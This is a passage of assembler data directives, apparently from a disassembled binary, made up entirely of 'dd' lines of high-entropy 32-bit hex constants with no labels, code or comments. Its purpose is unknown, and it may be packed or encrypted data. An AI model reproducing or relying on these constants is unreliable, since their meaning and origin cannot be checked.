75EDD9C9h, 41751A62h, 0ED65D49Eh dd 0C2A6AC6Fh, 555E7B68h, 0D192A051h, 528250C4h, 5DD66A28h dd 0E913F934h, 7F40EE6Ah, 0D4E480A3h, 5EC0CC0h, 60AC4FEh dd 8F39E916h, 575B38BFh, 201F6805h, 83051E2Dh, 15676F69h dd 7B696B3h, 9E7BE16h, 0DEF72218h, 0F3D73860h, 2932BF12h dd 979DA2A8h, 0E10D17FBh, 66A22FDFh, 0F9572CC9h, 4D02492Eh dd 7BF9F954h, 680B0124h, 0F09A772Eh, 7DCF6075h, 1229D380h dd 0EAD416FDh, 35F7B7C0h, 65C76D8h, 977832E1h, 9090C1Fh dd 3764007h, 0D24904FEh, 3008C1F1h, 548831E5h, 0BF02C736h dd 0C0AB14CFh, 0B7A7E32Eh, 1BC27E93h, 9394CF50h, 9E527F02h dd 0C272BA41h, 5A0F0568h, 0A92F98C9h, 4DD9E122h, 0F997A772h dd 31E982F9h, 0EFE1F6BBh, 27DD6F6Bh, 0B29780CFh, 30EAEC36h dd 30185592h, 0AE9858E1h, 2B4BA57Bh, 36EE67C5h, 2AF72E5Dh dd 4D2B76A4h, 0EF14958Eh, 5504F508h, 0C2973E63h, 2CE672F5h dd 596EEF0h, 0A0C8442Fh, 5B475AA1h, 40FB159h, 37F2AA07h dd 683F90D6h, 6EE117F7h, 4C940DEDh, 3741133Ch, 0BE1A1372h dd 0BC40A7E6h, 0AA4E17F1h, 93C4EB50h, 3459080Bh, 9CE91743h dd 3020E514h, 0E74A4A67h, 40AD3B8Ch, 0D25FF7CEh, 1C742EE2h dd 3F5958E6h, 0F03007F3h, 0A9C7285Ah, 0CD3101DDh, 0D8C0572Ch dd 0F22FE904h, 0F800DC85h, 305BCD2Ch, 197D9DC3h, 759273BCh dd 0C5A6EF5Ch, 0DC01FA97h, 39F016EDh, 4FD1AB70h, 0A9EB8EBh dd 8271E30Dh, 5F41DC04h, 98E1E8C7h, 6F116Ch, 35D2FDB9h dd 609D8934h, 942012E9h, 0ABEC53E8h, 39CD0860h, 2178256Dh dd 0E941CC5Eh, 0D22B6538h, 18A240EFh, 8D595456h, 0E27302E9h dd 8403FBBCh, 0BF055968h, 40268638h, 6638AC2Ah, 6226F951h dd 6DE2A30Eh, 0A77ADC0Dh, 1C94B3D0h, 97677725h, 0FA74E904h dd 63749AEh, 0F78B845Ch, 9D9BD731h, 8159E2F2h, 54685902h dd 0E9715548h, 850CF8A4h, 0BEBD5F0h, 23156822h, 8A62877h dd 0F66782Dh, 79F771D4h, 0E96971F6h, 444AC79Fh, 0EF5B45FCh dd 13440B4Fh, 5668AD30h, 0EEC5C665h, 0C35F7758h, 0D879B8A9h dd 77B0125Ah, 0CD1DBE58h, 3B58DD91h, 68520251h, 4A07F14h dd 8E394150h, 0FC22AE66h, 0C11C0E03h, 0E8764F7Bh, 0D7DDDCCAh dd 5A13C266h, 0D1EFE895h, 864C2941h, 8AAEE910h, 53C54EA1h dd 0C9961268h, 0EBF6077h, 0FBBB640h, 63C8589Fh, 9CFFD889h dd 0E4F29806h, 21712063h, 0EFEFD12Ch, 7EF5B502h, 0B15FC0Bh dd 19D7148Bh, 9D8559Fh, 86539D89h, 9C0A93BDh, 768E3420h dd 201C7B7Bh, 559F7059h, 7ABEC698h, 0E877D6BAh, 14577925h dd 5456121Ah, 4DE3AB5Eh, 17D3BC96h, 0CFE082E9h, 808C0EB7h dd 0CF67F8C7h, 0BAABD260h, 55DD305Fh, 0F698BF06h, 0C797539Fh dd 0E6562511h, 7D4A90C2h, 0FEF8493Ah, 6670C50Fh, 0F9FD93D7h dd 602A0841h, 5AD52916h, 5AEAD69Dh, 282645A2h, 0F5B2D522h dd 0C415FBAh, 1F219F21h, 0F185A4ECh, 0F1C21316h, 34C3C089h dd 0AD3A9512h, 0CE6ACFC2h, 7F501D69h, 2D0DA536h, 69E0F787h dd 4F804327h, 1328F481h, 0A4EDD57h, 659565DBh, 0ECA7815Bh dd 37AD79EEh, 9BB21BCFh, 0FBBA28Bh, 46007CABh, 0E317B5CBh dd 0F0144D39h, 43A907F0h, 0F3C07497h, 2F7A69B3h, 956C29FBh dd 77680500h, 0D1253F3Dh, 0EF4D5063h, 0FBB94A8Eh, 9F5C5C68h dd 7E9C2A79h, 0CBF69560h, 34E472A5h, 0E9C73D20h, 2C1AC85Ch dd 0E7CFBF8Fh, 0F5E9137Ah, 0C03BF7A1h, 623A6F60h, 0DF4F1C2Dh dd 1B44420h, 0AD92449Fh, 710EF709h, 6EDC85A5h, 0A38717FFh dd 0F4B5D3CFh, 6980BC6Ah, 0DB62779Ch, 188CE0FDh, 0FEBA806Ch dd 205F1C07h, 64D5FA87h, 965000B8h, 0BA450658h, 42D9F71Fh dd 35986013h, 0C90FB04h, 0BCEE921Eh, 413F04A9h, 0C0C3796Eh dd 5E4209D1h, 0B9E73166h, 1AC15312h, 0EA05EB07h, 0D1CD7340h dd 0ED5C0B6Ch, 644FB1E7h, 0F32089F1h, 251CBC7Ah, 92BF9A65h dd 3DF85F14h, 0F50F0781h, 0A842E5Eh, 813F071Eh, 8F3D35F1h dd 0A77B2132h, 9699505Ah, 785010E0h, 1EFA3B80h, 8FFC296Fh dd 0C4CCC7Ch, 5F060C57h, 490E417Dh, 6A868209h, 95F15501h dd 2061E941h, 0CAC5AB3Ch, 8207BC0Bh, 59EDB753h, 52B2400Fh dd 6BB8D088h, 0B7C1F84Ch, 0C7889B40h, 4C662AE9h, 57F90BE5h dd 82575337h, 0EEFEF739h, 0BD5EFA27h, 32DC9960h, 157CF01h dd 276855F2h, 9C9857DAh, 872615C6h, 0D5079F32h, 0D46F732Eh dd 5E58A2h, 0A17195CDh, 0B598E962h, 0E8208B02h, 2F279566h dd 42DE5180h, 0ABF103CFh, 0C1EB5F96h, 40CCC95Fh, 0A43F1F18h dd 0F16902B7h, 5045FFBBh, 0B137680Bh, 19ADB973h, 6BA90340h dd 729F5FE6h, 52088146h, 0BE18C02Eh, 15400721h, 10DF9744h dd 5BB8E937h, 3C90A2CCh, 62B19754h, 6D858B4h, 0BF3BAA63h dd 29750BD7h, 559CE977h dd 550BD032h, 6E1C3769h, 0E30B07DDh, 0B149E90Ah, 0D4EA0F71h dd 0A875A225h, 0BD80261Ah, 0CEFB5697h, 8AE9097Bh, 7398AD6Bh dd 0C2A5BE5h, 0E8EE59E4h, 0DF6B3162h, 49285CF5h, 0C1584A5Ch dd 0FE0879EAh, 0FE2C0340h, 17A16841h, 40384127h, 0B5315C19h dd 75FF7CE4h, 250B6A65h, 6981DE5Bh, 4A601CFFh, 9235BA1Dh dd 85B63200h, 0E701BDF7h, 0E9524D40h, 0A9284F87h, 40888501h dd 0F8BE75EBh, 0B031A473h, 282F114Dh, 0E7629ADBh, 925FFAB7h dd 2364555Ah, 82C8712Dh, 7D06E09Ch, 4184E268h, 458169F4h dd 1E1FBC6h, 49366DC2h, 4F910529h, 5007552h, 0CC3F88CFh dd 0D90CB42h, 58E31367h, 0C01E0154h, 10D9315h, 0CE3CF9F5h dd 0B7A8702Dh, 0E70C3D6Bh, 735C960Bh, 0B9501596h, 7795405Fh dd 0F6A414AEh, 5A2BED9h, 0A36B7F94h, 689FA25Fh, 0C0815484h dd 629C1DC8h, 2E079298h, 0E95D0E5Ah, 96CE686h, 59EE885Bh dd 0F1A2A34Ch, 0E852F655h, 0B1572FDAh, 2D3B5D1Ch, 97FC7C84h dd 0D784F8BCh, 83061371h, 9B95597h, 35C8A2A8h, 0F723025Fh dd 0DD7A55DEh, 3D6370BDh, 233CF681h, 20318A92h, 4F2BE933h dd 0E66844C2h, 1F826C0Fh, 0F5863B69h, 0BDAB844Eh, 0B1F5019Fh dd 4D8DE648h, 58740AF1h, 0E8AFD259h, 420B1076h, 9E5FB05Fh dd 0BE218F41h, 0A1D0DDFAh, 6C5BA7F8h, 5C96E390h, 0F194E5Eh dd 6E38D373h, 85B0C501h, 0D1294A95h, 0DA016222h, 1B530C6h dd 2F2668AAh, 36CE2189h, 410C2CC5h, 5A1E2163h, 81FEB28Eh dd 69962AAFh, 0DF35DD69h, 7B8AF9BAh, 0EECE5004h, 81EE0953h dd 2AB0348h, 1C84575Ah, 3A33A1FCh, 5B7AF0E9h, 0AFBD137Bh dd 0FEFCC461h, 9F7EAC3Fh, 0A12D43D3h, 0DD19AC6Eh, 968AA6D6h dd 4B7D7824h, 9D1BCD7Fh, 8CCAF68h, 0EF643001h, 25E95640h dd 0FC5A5D99h, 7EACF08h, 37022E7Ch, 403C7912h, 483AF3DEh dd 0F7005DC3h, 880C2338h, 0D465CBE9h, 35825A84h, 2C655707h dd 27DC5916h, 657A8014h, 1E46B980h, 96A24BFBh, 3B9CA14Fh dd 1ACCDB44h, 4BD5ED4Bh, 2F22FBC2h, 0E9E05D16h, 669FCD8Ch dd 4B51F277h, 90B93677h, 0A6C02798h, 0CE8131C4h, 50637606h dd 1F64954Dh, 143155Fh, 0FD045CEEh, 0BE18824Bh, 0C29E99AEh dd 9C425D95h, 0BBBAEE5Fh, 55A50D72h, 0D4A4389Bh, 3CCE07FFh dd 0EE946713h, 1D86C31Ch, 0E6B02110h, 0C5E4984h, 530BAACh dd 2F1FBC7Ah, 2CC14671h, 485F2001h, 0E997816Fh, 0B7127F28h dd 0EEE3AC4h, 867E832Bh, 4846D6F7h, 101A044Ch, 0BF271D43h dd 14482FFh, 0C15F047Ch, 6B4E8169h, 42EBD935h, 7AE36833h dd 0AF9065C6h, 2C78A930h, 131B3BBh, 0E3C151FCh, 0FCEBD108h dd 999DF9A6h, 0B07876E8h, 6AD2BD02h, 0D4746958h, 3F41402Fh dd 137E8227h, 0B8505500h, 587F12E7h, 3004179h, 0FAC8FB35h dd 0F2B589D5h, 15CC9541h, 0DEA23297h, 0BF8139BCh, 0E91E025Fh dd 2D16746Ch, 0AD55CBBFh, 0D05F51FEh, 0EB66E916h, 26E49D8Dh dd 6C1ABF0Ah, 7B0B3B79h, 0F7655D20h, 5F945DAFh, 1D7F6801h dd 4BE93BFEh, 4DDE3BA0h, 0AA4F01B5h, 0C7437B9Dh, 782B7C5Ch dd 3B2F13F1h, 45400017h, 1302EC7h, 0C9E9CA0Bh, 484425C5h dd 0E8D19740h, 1E091A2Dh, 0EB292E8Eh, 47FA896h, 4EC24684h dd 0DCADEA01h, 0C0080665h, 71219FF7h, 0A2573126h, 2751B110h dd 0F13A902Bh, 6190BC69h, 29275EF6h, 0BC5D77Ch, 98F1E4B1h dd 0B4504083h, 80FBFEF3h, 29B2ED90h, 0EB70C2EAh, 0EA75E27Ah dd 49E95870h, 99A82AB3h, 0F83A0B16h, 0AFE9F15Fh, 3431057Eh dd 58E4C0EFh, 2C27D904h, 0E843D0C4h, 0A1A04BE9h, 5AAD3E92h dd 68700CE6h, 5DB91DBAh, 0DDA28BADh, 0D6BFE5CEh, 0BCE970F5h dd 641F87BDh, 928E3237h, 9EAC4285h, 6875E2B0h, 0F0E96416h dd 55EEE192h, 0B73D28DEh, 52C24661h, 14540FEh, 0D6F63E5Ah dd 2CFF09B1h, 74F96C0Dh, 9B9662ECh, 6531358h, 0D2E95150h dd 801E500Dh, 52875DC9h, 0C67036B6h, 7DF088CBh, 62C1285Ah dd 7671F7A8h, 4AC1A96Fh, 0F63933ECh, 80F4AC50h, 581FE708h dd 0DB2FF780h, 0C33D1EBBh, 0C2FE47F2h, 0A8A10A3Ah, 20FEF7CAh dd 0BE5AD73Eh, 8C796CFh, 2FE970F0h, 36BB59DFh, 6D5C21E2h dd 614A6884h, 678931BEh, 82C56D31h, 77FEEF0Fh, 2F90E5CEh dd 60A17FA0h, 0AF0AC726h, 389F5F02h, 92F258F5h, 0C201091Eh dd 47F72A88h, 801248Fh, 8724A0A1h, 775CAA0Bh, 0AB4F9F66h dd 0E831CBBDh, 2B06E510h, 0EB9356B9h, 0B81624F2h, 78B5E2C2h dd 5349BD30h, 1FEABB53h, 9148077h, 0B6AD60Dh, 3B9B34A6h dd 92A5160h, 9F5D8428h, 8105E478h, 322B66F3h, 0E9D91FC0h dd 0FEDD2DCFh, 9468DC30h, 0FEBF3F70h, 4DE8DA31h, 962721E9h dd 1CCA5FFFh, 6C4704D7h, 27C4DBBCh, 0FA880560h, 1ED33E81h dd 0F5F78703h, 452DA93Dh, 0DAC690F2h, 0B0942C16h, 4141BFCBh dd 0D03B3A21h, 0F4AEEECCh, 56EAEF05h, 0FAB45E58h, 0AA2F280Eh dd 0C40B4B90h, 162DBF08h, 1A08A62Fh, 6272C1FFh, 7FE38BA4h dd 405EF861h, 1B5C2FA4h, 388442F3h, 7157BBA9h, 54E961A0h dd 0FB902A94h, 4E8E716Dh, 290A0724h, 0AFA0BECAh, 593E465Fh dd 0C0CC0EC1h, 0E22BA643h, 47500469h, 80BE710Ch, 0C26A6516h dd 62EE8B4Bh, 54A1E7h, 19D6727h, 613E981h, 0EEB8416Bh dd 0A4E00436h, 69F6B559h, 68CBCF9Dh, 0E3C47D3Eh, 537EFEFAh dd 52AEF34Bh, 70B88E6Fh, 5F155991h, 15F248A0h, 9FBB5102h dd 0DFBFBACFh, 514DFFE5h, 0CAF4E904h, 0ED7BD5F7h, 4A606965h dd 662D402Ch, 0E0AED91h, 0C849367Dh, 80CB5EBCh, 34BEBC0h dd 0F02D7FACh, 55969AD1h, 5E961E28h, 0F777B4D7h, 0D576C069h dd 0B9AA8D34h, 4B4657Fh, 0AF7E68E9h, 82E39AF5h, 6993DFD6h dd 8E805E16h, 401096B6h, 68BF03BBh, 0D117BC1Fh, 60799D2Bh dd 0CB3E2F05h, 57B1FB6Fh, 0C28E5DFDh, 15EB5B32h, 9C69380h dd 2D033971h, 66F4462Eh, 6AA6B040h, 0BFA87E73h, 0E5016BD8h dd 638B2E38h, 1D3BDD87h, 1CB22481h, 7BF9E097h, 731350C0h dd 89A12F30h, 457D22DDh, 8B686155h, 23C3356Fh, 13DCACDCh dd 6910D7B8h, 4A8E4DA0h, 0B521B1A4h, 42684001h, 2B995222h dd 0D65FFAEAh, 7CCCD8F4h, 0FACCE89Fh, 0ED048238h, 52859229h dd 6725D3FDh, 0E86744E9h, 76F4966Dh, 4D7A69B4h, 0EC396070h dd 6CC83FDh, 0C9C7B151h, 0F1F11BE1h, 69CEE647h, 0C126288Bh dd 0CD170700h, 4BF74D36h, 1920C3DDh, 25CAF94Ch, 9FE3F02Fh dd 8E81A1B9h, 56DD58D2h, 0B7C84EAh, 0E1E05A08h, 0F8BCFCE9h dd 0E6015426h, 811CEA08h, 56819D4h, 66E942FBh, 2F67C906h dd 5A900FAAh, 497131E5h, 516239AFh, 0F951FC77h, 71162E76h dd 4BD31FB7h, 0E9F51CE7h, 573A5846h, 6E87BBA4h, 7CBF0CE2h dd 2A5251F3h, 0FA803EBDh, 0B970DA4Dh, 9E74C809h, 720FFF1Dh dd 5834F9A2h, 85F2CDC0h, 258E041Bh, 6E08E8BAh, 9C5F973Dh dd 58E4B58Ah, 0E2AB682Dh, 4ECD5791h, 20096CAFh, 8924F301h dd 26426DFAh, 0F9EAA7D0h, 0F152EA75h, 128180FAh, 6634CB2Dh dd 48C10E4Bh, 75347180h, 0DF7F27FCh, 0B895E15Fh, 0BF011D3Ch dd 0E8FB8CE1h, 0F655CE29h, 0BAFEC96Bh, 5E9889C9h, 3E552D08h dd 0E95C5CAAh, 5409407Ah, 4B4D4EB8h, 0AEE64FA1h, 172AB96h dd 0A055D96Ah, 0C8D8970Dh, 19280C1Ch, 206EEAB0h, 906876E1h dd 1F1A1853h, 3F21865h, 0A6A170E2h, 0CD3101ABh, 0A410CE32h dd 442D7F85h, 2DB51BEh dd 8A402A08h, 0A8546961h, 0A82B010h, 0C174057h, 5717A25Dh dd 1A5A5164h, 9B3B37B1h, 9CBE4E26h, 512CE98Eh, 0D99A8C79h dd 9FE8654Ch, 870C8958h, 0A342315Dh, 0BFA00CDAh, 6CEF2A13h dd 0F50CC0BEh, 1006D544h, 0C67DE993h, 9B56B5E0h, 0E2DBE9D0h dd 88D995FEh, 36D65B8Fh, 83A50CB9h, 827CCA58h, 2B34915Bh dd 84A4B7EEh, 47D9232Fh, 0C0FCF2C3h, 4FCF4C28h, 816460FEh dd 413483EFh, 0A8EB962Dh, 2DEB5AA5h, 55E76EC3h, 84A27D93h dd 4D4E689Ch, 508822BFh, 12723740h, 0A61AA824h, 1935DA01h dd 0EBDC4318h, 0C1481749h, 13F2EC32h, 0CA884401h, 61682F58h dd 2B9705FAh, 83ED758Ah, 93E7DBA7h, 0C1F6B8D2h, 47EB6849h dd 7EB6307Bh, 272D2C71h, 0EF30FD50h, 53D4858h, 1EEE1286h dd 84785104h, 5F8AB2EAh, 0D75314EBh, 0C9EABF17h, 1210A4B6h dd 0ED32D3AFh, 34C731B9h, 4E5CBEBBh, 0FE6A2E76h, 0D7180B2Fh dd 5742EB65h, 0AB5E5554h, 9D62A850h, 6553C18h, 0C92D482h dd 0E8D36530h, 48AC5D4Fh, 0A04DB1h, 55B5CB8h, 0C08356D3h dd 0E924F001h, 43AA1934h, 18BAF785h, 2CDC8626h, 9465E0Eh dd 0B20192F1h, 66EE43D2h, 5801B86Fh, 4EA80BE7h, 652EAF39h dd 784958D9h, 26A45DD2h, 80BDB090h, 284CED17h, 12EFF405h dd 4E0C98EFh, 0BA60117h, 4D997B01h, 0D2206F47h, 206C123Bh dd 44840110h, 0D80D4F12h, 253914E7h, 3BE90B26h, 6567A229h dd 0C045770Eh, 885B4124h, 905DC480h, 0E9F20BEEh, 647764F3h dd 80515F32h, 42016870h, 24BC496h, 0A377BCh, 0F51B9DBFh dd 5C687B0Bh, 9D7C678h, 1D494F38h, 562601F4h, 8219F825h dd 61565D8Dh, 4FDCE978h, 1B32BA6Eh, 43D0095Eh, 14920500h dd 32252E0Fh, 514B3075h, 17BD560Ah, 2DD0F701h, 0F165D8CCh dd 0EC58126Eh, 31AE5A6Ch, 8B0DB3C3h, 5F72516Fh, 7FFAD719h dd 3F1393A6h, 0B799BEE8h, 0CC425F3Bh, 4DD4F481h, 0D263D5ECh dd 0E9535B0Ch, 8D3A2321h, 47A26F1Dh, 0A545E02Ch, 27A7CDD5h dd 0D74A195Dh, 204AD92Ah, 570BA98Dh, 80D169C7h, 151BC991h dd 0C0104A2Dh, 2C5040B8h, 0FEBD1790h, 95E906CFh, 0ED5B797Ch dd 0DC2A8D4h, 9746FBADh, 4E5BEC01h, 197ACEEAh, 0F135E2CAh dd 0E57C2BD8h, 37CEE0DBh, 4F89970Dh, 944FA5Fh, 0F6712B5h dd 2397BE80h, 98B81D7Dh, 809B1A2h, 1C681404h, 0CE0A7CCAh dd 79C7988h, 87EE8852h, 48541B43h, 514FE62h, 49BF155Ch dd 2820FF4Bh, 0FE7799EFh, 0E190976Bh, 0EA0C6493h, 24FA2994h dd 693F07C2h, 0CF013A0Fh, 0C008A81Fh, 0F944131Ch, 0E9195D6Dh dd 87622173h, 1778806Fh, 0AA287CD3h, 2620EB57h, 0AF57979Ah dd 0EDA9446Eh, 938DEB5h, 0D3067105h, 1D080077h, 1426A28h dd 0A897E988h, 44840C2h, 0AAF6962Dh, 4C7FBCAh, 980FC1Bh dd 54DCF189h, 0FDA38E2h, 87E2AFF2h, 383E982h, 0FCAD1BFCh dd 8750ADABh, 9F934820h, 51B75058h, 0B9B4C31Ah, 0CEFE5E4Bh dd 0D2B35FD4h, 70927951h, 0C79C425Dh, 0E85F0558h, 0B2F8297Bh dd 9C7EBD44h, 10D8EBBh, 48DED520h, 0D4F513ADh, 57B2AE09h dd 0F06B9759h, 92F52F22h, 0A88475C6h, 89B810D1h, 6735F5Dh dd 59216861h, 26B6E76Ch, 0D152DD0Bh, 862D775h, 190B080Ah dd 3B2DF920h, 0B05B44BCh, 0D55E3220h, 16EC14E0h, 0F8703917h dd 839E1018h, 0BEE85070h, 9F769733h, 21C275C8h, 0B39CC5E8h dd 0FD02A586h, 167D28F2h, 0A2F6147h, 0B8D02A79h, 0F8913413h dd 0A1A897E6h, 488C6DB3h, 0FA220C0Ch, 0D4B7EE4Bh, 0BF581333h dd 0F797AC03h, 84C89CD7h, 0F86A4A31h, 0B625A157h, 103DB32Ah dd 0EF4B01DEh, 0C913659Eh, 1290BDC0h, 14884D82h, 565A2559h dd 579DCC52h, 4489A288h, 0E1E3A44Ch, 0BD61D10Fh, 0B8456513h dd 0AEFD640Ch, 65D89DBEh, 0A170B520h, 912B5291h, 80E1D920h dd 0B05CB57Fh, 0BFE82845h, 413E878h, 0EB372Ch, 44B6521Eh dd 0AC73C680h, 0E9F1F602h, 0B9FEDE17h, 1BC568BFh, 0A4D3DB88h dd 176FB40Eh, 9D1073BCh, 0E4680905h, 62F0F477h, 3B576253h dd 1B3D2F4h, 38C8015Ch, 45BCB53Ah, 0E110FEC9h, 0FC8BB7D3h dd 0FB3A99FFh, 627A64BAh, 3177622Dh, 0C83A4909h, 2B812C38h dd 0A3D24928h, 0C4FE96EDh, 338E812Bh, 0AF8404B2h, 5454F8AFh dd 28FE5274h, 0C31FCD61h, 0AFC1440h, 6AC1E52Dh, 2A88DDFAh dd 18C82607h, 6866C8F0h, 0A2211824h, 0DAEBEE17h, 30EB4A09h dd 3E08E903h, 0A9A83195h, 0D099C62Bh, 6228D9B5h, 9B527AE9h dd 0EC4F9990h, 27E89285h, 0D75BD2B6h, 8EB12012h, 6656D82Ah dd 2F421A41h, 0A38461F0h, 8776800h, 394E1697h, 246344E9h dd 65B94095h, 0DF5EACD8h, 0CCDE121Ch, 0CA3C0CF3h, 8C86C0F4h dd 0DF2980E7h, 77C0AEC9h, 130C5CC7h, 0FF51DE8h, 4676583Ah dd 0A204CB64h, 0D45531B8h, 0F597C11Eh, 9271F2F7h, 20F63105h dd 0E2D6FCF9h, 5BDC42Fh, 53505100h, 60DFA1B7h, 6800F4D0h dd 70495999h, 0DB12F75Bh, 520BEBC1h, 25DE7C4Ah, 9C1D95D7h dd 6D0794E9h, 56DB9007h, 6C3DB2D6h, 0FE50535Eh, 74A0B5CAh dd 145B0816h, 11E1404Ah, 0BF35852Fh, 0A84ECFE3h, 826AB165h dd 561E9C26h, 0C25ED754h, 53F55FC1h, 922C147Fh, 0E2E96181h dd 1229BB19h, 2F3379DFh, 0D96CF956h, 0F01886BFh, 1C870AB5h dd 0E904F4BDh, 553099DFh, 0AEB18088h, 0EDB15E17h, 7932E280h dd 622549CBh, 0BF1B2E2Eh, 7F6A2A0Bh, 64755098h, 2FEBBA80h dd 0A8C8A20Ch, 43BAC131h, 71FC981h, 0F497A556h, 0A950A4A0h dd 0BB2A50C1h, 80338638h, 0FA5A4EE9h, 0E3C52490h, 40E12D0Dh dd 86988D5h, 0D5F75F04h, 3CD1A780h, 0E605481Dh, 29A97E2Dh dd 4CAB70D7h, 0BF4B3458h, 0FA0187C1h, 9D2A142h, 5545C855h dd 5E680253h, 5B427C2Ah, 8376DE5Fh, 7A720DB4h, 73431EF9h dd 964E580Ah, 0A94C70E8h, 47C6EA2Dh, 0F29C74BFh, 7542BB56h dd 0D8BFDE6Eh, 5E81CF62h, 5ADEAED9h, 0E2594E24h, 1ABD9497h dd 433186ABh, 92792E1h, 5D524C76h, 0CB42335Ch, 0B88980B4h dd 9678DBh, 8354841h, 314060A7h, 0E9A4C250h, 0FD49D20Bh dd 0B2ED036Dh, 0F04AEA2Dh, 846FD13h, 4014821Ch, 80C9BEF8h dd 250CBB53h, 0BA333E7Fh, 654F1376h, 0E3F50147h, 2B5BB917h dd 118B5BEEh, 7304767Eh, 4353C756h, 7F2002C6h, 0AD7C27E8h dd 0D2F88043h, 50970162h, 49F702E9h, 74E977D9h, 0EB1F725Ah dd 4F56DFFBh, 821944AFh, 5D1616F1h, 0CB843EF9h, 0AEE809E1h dd 58AE00C1h, 0BBD292h, 891AEFE4h, 0A831D98Dh, 665A0601h dd 0D076D681h, 73D8833Fh, 3DB83437h, 68B0F01h, 9D8D0DBAh dd 303A33EDh, 3EC01039h, 59FE53C6h, 68ADFE89h, 0A91E2Bh dd 7FD67DCAh, 0D30B58Bh, 36F11926h, 5E823061h, 0CE3C2724h dd 0C0532B25h, 0D020C0Dh, 2E118529h, 0C3E6830h, 134D8D31h dd 0FCF81881h, 850FE48Ch, 8938E9BDh, 0C015C1D8h, 2363F024h dd 72E2DBF5h, 6E12AB00h, 8C19AF7Ah, 87840058h, 28F28F47h dd 0B3017D5Fh, 805A620Bh, 46F03F2Dh, 161B0DBh, 55670FAEh dd 8A476F51h, 422DA51h, 0D2CA18FCh, 9F8310A2h, 0E508B600h dd 0DCC8BBC1h, 758B00DAh, 0CA2D0557h, 2462C54Dh, 24B82F28h dd 552221A7h, 60106112h, 89389BEh, 855344A1h, 0BB012284h dd 0E0D77F45h, 0F64BB5h, 22FF020Fh, 512DD85Dh, 0DE28F100h dd 9177BB81h, 0D1EA00CBh, 1CCF4741h, 70FE72B6h, 0EEA9E400h dd 7ED8D3BEh, 0F4461FF8h dd 0DCDD00DAh, 28E16C08h, 88B08E00h, 0FEA6C4B9h, 7BE008Fh dd 0BFA8137Fh, 0DD00F751h, 68D6735Ah, 0EEA2936Bh, 43A500AAh dd 2BDA9E12h, 83E1375h, 8A828022h, 31716251h, 3F7C23h dd 3B75B0D8h, 0BE65010Ch, 4EA89200h, 7007F449h, 0B5020755h dd 408F5393h, 46034859h, 35BC8802h, 40B19FD4h, 1998D9Dh dd 31A6B6A9h, 0FC59EB96h, 0CF7A5D54h, 2D00E27Fh, 76CA754Dh dd 1E47A6DEh, 0E8211C6Fh, 7FD300ECh, 2389589Fh, 7601A5B1h dd 24374062h, 9560100Eh, 16DD09C1h, 3E00CCEFh, 0F31B285Ah dd 240094FCh, 0F2C6C0ADh, 0BCAF7Ch, 9D0D979Ch, 6F10E949h dd 0D848E418h, 242F860h, 4E5227E2h, 88879158h, 0DDB14036h dd 0FEFC624Ah, 40030927h, 7113B41Eh, 9A9103DCh, 0B3ABF938h dd 92792A0h, 0A366000h, 185640E5h, 0D47C5Ch, 0A20EEA7Ch dd 526295B0h, 3F1C5300h, 200B69E4h, 0F69001E1h, 0CEDBD0A4h dd 5B6020A0h, 0E8B3F200h, 0AEE41FB0h, 1E183901h, 4E7CCB80h dd 78B81BD0h, 850ADE1Ch, 16D1AD80h, 1D403Ah, 6F8F6AC3h dd 0BADC9CF9h, 0ABB9A402h, 0E091D41Ah, 1A6E20Ch, 1775DA0Eh dd 0F4D75674h, 6C4C0F2Eh, 58350014h, 2CD61A59h, 5B1E01A3h dd 784039F8h, 979895DBh, 0D54C98h, 709254CDh, 401F2D6h dd 12DD8B3Ah, 0C2DCC008h, 1E047CD3h, 3991AF9h, 0AD737F80h dd 544E006Dh, 8C36451Fh, 170EFB31h, 6F55D9A2h, 3CE12032h dd 4894C39Eh, 0AA014060h, 0FA778D1Fh, 4C04702Fh, 478A7E0Eh dd 0E41C40D5h, 910993h, 7B10DAFEh, 0BDFAE5F5h, 0BC90AA3Dh dd 0E76F01EFh, 9E7ACC82h, 0FED01434h, 0ECF200EEh, 0F7555289h dd 0BA061B51h, 0B8F864A2h, 6D6300E1h, 0B7BF2394h, 59008BB1h dd 6F4F94Fh, 92EDCDBh, 275DF771h, 70E13007h, 44030E79h dd 36A62F1Fh, 54533EC0h, 3CFD19FEh, 0D5000780h, 0E39F0976h dd 3C003992h, 75BC2BF4h, 0ACA310h, 0E315F04h, 0DBA17F77h dd 0CBA54B00h, 0E776A969h, 8A033912h, 0C75E3500h, 0D14A41D6h dd 43D02760h, 0E86EEFh, 753E1438h, 0C7D0CEE6h, 0E07AD400h dd 0AC308457h, 585F00A6h, 0DCCA9FD7h, 7E0083E7h, 703DB403h dd 28C41FAh, 270F2D1Fh, 904B2CDDh, 5834C9h, 0BDE17h, 0F926B690h dd 1D6A8C6Ch, 78A0AB00h, 0BB99C4EBh, 0B8E400D8h, 0AE0D258Ah dd 0F01C9D0h, 1864EA2h, 4030BCCAh, 1C6E081h, 0A1D9D438h dd 0C4DAF3FEh, 0D00C1F6h, 8E70C8DCh, 52D15841h, 0A800C4B3h dd 0AAEB9CCFh, 0F5009095h, 0FC7D0145h, 94ADCDAh, 0D7A412A6h dd 0CA6A0000h, 0B803191Bh, 0DFA1B5E3h, 336DE0EAh, 0A89F500Dh dd 880C006Ah, 0D03B678Ch, 0EFA015C8h, 0A80066CFh, 5DC77277h dd 1DE4E0D7h, 3CF817C3h, 4DEC5B80h, 0E35BE36h, 82125438h dd 0B6773A65h, 0D3CC1F3h, 0CF44D0h, 2F57BC63h, 49AA5CFEh dd 0A1F72B03h, 0F0057AF1h, 0CD6DD08h, 0C78F3830h, 0F7027DB0h dd 0EB49564Eh, 0C0074201h, 43756Dh, 0BD5D1ED6h, 57563B71h dd 0CA81CE00h, 3D473CCFh, 0EFC8F7C0h, 0BCD00041h, 1D7C344Dh dd 0B2F2DBCAh, 0E9E49E02h, 60B154DDh, 0B80364C4h, 1311003Ah dd 14AFB93Ah, 25007F56h, 0A6451651h, 5CB17517h, 0B006CD8h dd 5CBE7AF3h, 0CD00AC82h, 0C8C455ADh, 90DA6DFh, 2A155E2Eh dd 40873C07h, 5875A4B2h, 22314200h, 187B0C16h, 0BDC1FBAh dd 62F142C8h, 0C8669B93h, 0CCFAAF00h, 0BDAC81F8h, 9AD00086h dd 67F35020h, 3C904771h, 14C05B01h, 0ADCB3F15h, 0C857A053h dd 0E7854Ah, 4180A188h, 0CB082C39h, 0B273C412h, 8B4F201Ch dd 0A7FE809Ch, 60E018h, 87A30394h, 3D8EBD86h, 80C3573Dh dd 72914752h, 0CC0EEBh, 6DA613A8h, 0F7E12FBBh, 8185AC3Fh dd 0D5C29EF6h, 1C30DC26h, 0FB2A00B3h, 2C6608AFh, 5075D936h dd 